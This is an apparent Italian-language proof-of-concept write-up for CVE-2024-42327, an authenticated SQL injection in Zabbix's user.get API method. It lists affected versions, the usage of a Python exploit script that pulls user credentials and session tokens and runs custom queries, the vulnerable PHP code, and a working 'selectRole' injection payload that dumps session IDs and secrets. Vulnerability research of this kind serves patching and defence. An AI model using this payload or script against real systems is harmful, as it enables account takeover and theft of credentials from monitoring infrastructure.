
POC per CVE-2024-42327, un'iniezione SQL autenticata in Zabbix tramite il metodo API user.get
POC per CVE-2024-42327, una SQL Injection autenticata in Zabbix tramite il metodo API user.get. Questo POC non è basato sul tempo come alcuni altri POC che ho visto in giro.
La vulnerabilità esiste nell'endpoint API user.get che può essere sfruttato da un utente non amministratore con accesso API, inclusi gli account con il ruolo utente predefinito.
Il difetto di SQL injection esiste nella classe CUser nella funzione addRelatedObjects. Questa funzione viene chiamata da CUser.get, che è disponibile per gli utenti con accesso API.
Un attaccante può iniettare comandi SQL manipolando le chiamate API.
Lo sfruttamento riuscito della vulnerabilità può consentire a un attaccante di ottenere accesso e controllo non autorizzati.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
Questo POC permette di esfiltrare le credenziali utente dal database, così come i token di sessione per autenticarsi con l'API.
Esiste l'opzione per eseguire una query SQL personalizzata (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
Esaminando il codice su https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php nella funzione addRelatedObjects, troviamo facilmente la query SQL vulnerabile (righe 3046 - 3051)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
È subito evidente che i valori inclusi in $options['selectRole'] vengono passati direttamente nella query SQL.
Un tipico blob JSON per raggiungere questa parte del codice è il seguente:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
Possiamo modificare i valori di "selectRole" per consentire la SQL Injection
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
L'iniezione sopra rende la query SQL simile alla seguente:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)